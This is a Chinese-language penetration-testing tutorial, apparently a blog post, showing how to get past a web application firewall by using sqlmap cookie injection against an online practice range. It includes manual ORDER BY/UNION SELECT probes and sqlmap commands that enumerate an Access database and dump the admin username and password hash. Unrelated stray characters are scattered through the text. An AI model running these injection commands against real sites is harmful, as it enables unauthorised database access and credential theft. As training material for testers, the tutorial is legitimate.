一驼侠、前言
- 前面我們學(xué)習(xí)了如何利用sqlmap工具sql注入权埠,獲取網(wǎng)站的管理員賬號密碼,看似流程非常簡單袍暴,不過在實際滲透測試的時候些侍,我們其實會遇到各種各樣的問題。其中一種就是對方網(wǎng)站采用了WAF防火墻政模,或者有IPS入侵檢測機制岗宣,做了一定的字符過濾,常規(guī)的SQL注入方法我們根本無法成功淋样。
- WAF是通過執(zhí)行一系列針對HTTP/HTTPS的安全策略還專門為Web應(yīng)用提供保護的一種 Web應(yīng)用防火墻
二耗式、相關(guān)工具準(zhǔn)備
- sqlmap,sql注入常用的工具
- 在線靶場,用于sql注入測試的在線網(wǎng)站刊咳,我們這次使用 http://59.63.200.79:8004/
三彪见、具體測試過程
1. 打開靶場網(wǎng)站,尋找注入點娱挨,先可以采用人工的方式初步做些簡單的驗證
-
瀏覽器打開靶場網(wǎng)站余指,點擊新聞,找到一個疑似注入點
http://59.63.200.79:8004/shownews.asp?id=171
- 到底怎么找注入點跷坝,說實話這個除非有相應(yīng)的工具做全局的檢測酵镜,其余的方法就是靠經(jīng)驗,靠人工先簡單驗證
- 一般是一些詳情頁的url柴钻,比如上面這個新聞詳情淮韭,我們隨便修改id的值,如果內(nèi)容跟著變化就很有可能是注入點
- 然后我們在url后面拼接一些sql語句顿颅,來觀察界面的變化
- 我們嘗試url后拼接sql語句缸濒,比如 order by 10,發(fā)現(xiàn)內(nèi)容并無變化
http://59.63.200.79:8004/shownews.asp?id=171 order by 10
-
我們再試試粱腻, order by 11庇配,發(fā)現(xiàn)數(shù)據(jù)庫報錯了,基本可以確定這里存在注入點
- 通過上面的測試我們基本可以判斷绍些,當(dāng)前新聞的表捞慌,他有10個字段,我們再試試有沒有admin表
http://59.63.200.79:8004/shownews.asp?id=171 union select 1,2,3,4,5,6,7,8,9,10 from admin
彈出了錯誤提示柬批,這個網(wǎng)站很有可能存在WAF防火墻啸澡,對一些sql字符進行了過濾,手動測試我們就到此為止了氮帐,至少我們可以判斷這是個注入點嗅虏,但是存在防火墻的過濾策略。
我們用sqlmap執(zhí)行下面的命令試試
sqlmap -u "http://59.63.200.79:8004/shownews.asp?id=171"
- 的確存在某種WAF/IPS的防火墻保護上沐,我們沒法成功注入
2. 采用cookie注入的方式來繞過WAF
- 執(zhí)行下面的語句皮服,進行cookie注入
sqlmap -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2
注意后面要加上 --level 2 ,等級2或者2以上参咙,才可以進行cookie的注入
- 我們發(fā)現(xiàn)注入成功了龄广,數(shù)據(jù)庫類型是 Access
- 其實到這里我們主要的目的已經(jīng)達到了,下面就是按部就班的先猜解表,然后猜解字段蕴侧,最后獲取值择同,拿到管理員賬號和密碼。 不過之前我們說過 sqlmap對于asp和php的語法稍有不同净宵,另外更主要的區(qū)別敲才,對于php網(wǎng)站mysql數(shù)據(jù)庫來說sqlmap的sql注入裹纳,更像是一種查詢,速度很快归斤;而對于asp網(wǎng)站access數(shù)據(jù)庫才是真正的暴力猜解痊夭,速度慢,而且不一定能夠猜解成功
3. 猜解表
- 因為access類型的數(shù)據(jù)庫脏里,一個數(shù)據(jù)庫就是一個文件她我,所以我們直接猜解表
sqlmap -u "http://59.63.200.79:8004/shownews.asp" --tables --cookie "id=171" --level 2
如圖所示,三個紅框的內(nèi)容分別解釋下
- 系統(tǒng)提示因為是ACCESS數(shù)據(jù)庫迫横,是沒法直接獲得表的數(shù)量和表的名字的
- 系統(tǒng)問是否要用一個共通表來進行表是否存在的檢測番舆,你可以理解為是一個類似字典的文件,里面存了各種的表名矾踱,可以用于表名的暴力拆解恨狈,選擇默認的1就好
- 系統(tǒng)問要啟用多少個線程,線程越多速度越快呛讲,我們輸入10就行
- 如圖所示禾怠,我們這個表名字典里面有3348條數(shù)據(jù),目前已經(jīng)驗證了272個贝搁,已經(jīng)找了4個表吗氏,我們發(fā)現(xiàn)里面有個表叫admin,所以基本可以確定管理員賬號就在里面雷逆,所以可以不用繼續(xù)猜了弦讽,直接停止就行
4. 繼續(xù)猜解字段
- 執(zhí)行下面的命令,參數(shù)我就不解釋了膀哲,應(yīng)該很容易理解
sqlmap -u "http://59.63.200.79:8004/shownews.asp" --columns -T admin --cookie "id=171" --level 2
- 如圖所示往产,我們發(fā)現(xiàn)這個admin表中有username 和password 字段,應(yīng)該就是對應(yīng)的用戶名和密碼某宪。注意仿村,因為暴力猜解非常耗時,所以一旦我們發(fā)現(xiàn)了我們所需要的關(guān)鍵字段兴喂,隨時可以停止
5. 獲取用戶名和密碼
- 執(zhí)行下面的命令奠宜,--colunms參數(shù),表示猜解所有字段瞻想,-T 指定表
sqlmap -u "http://59.63.200.79:8004/shownews.asp" --dump -C username,password -T admin --cookie "id=171" --level 2
- 這樣我們就拿到了賬號admin和密碼 b9a2a2b5dffb918c,這種密碼很眼熟吧娩嚼,找個MD5在線網(wǎng)站解密就會獲得真實的密碼蘑险,這里不再贅述了
五、最后
本次測試岳悟,我們主要學(xué)習(xí)了采用sqlmap的cookie注入來繞過WAF的方法佃迄,然后就是理解了 php/mysql和asp/access sql注入的本質(zhì)區(qū)別泼差,前者其實是一種數(shù)據(jù)庫查詢,而后者其實是一種暴力破解
根據(jù)以上的結(jié)論呵俏,如果我們的網(wǎng)站是asp/access的堆缘,為了增加安全性,應(yīng)該考慮普碎,不要使用常用的表名吼肥,增加暴力破解的難度澜掩,也不要使用簡單的密碼茸炒,增加解密的難度。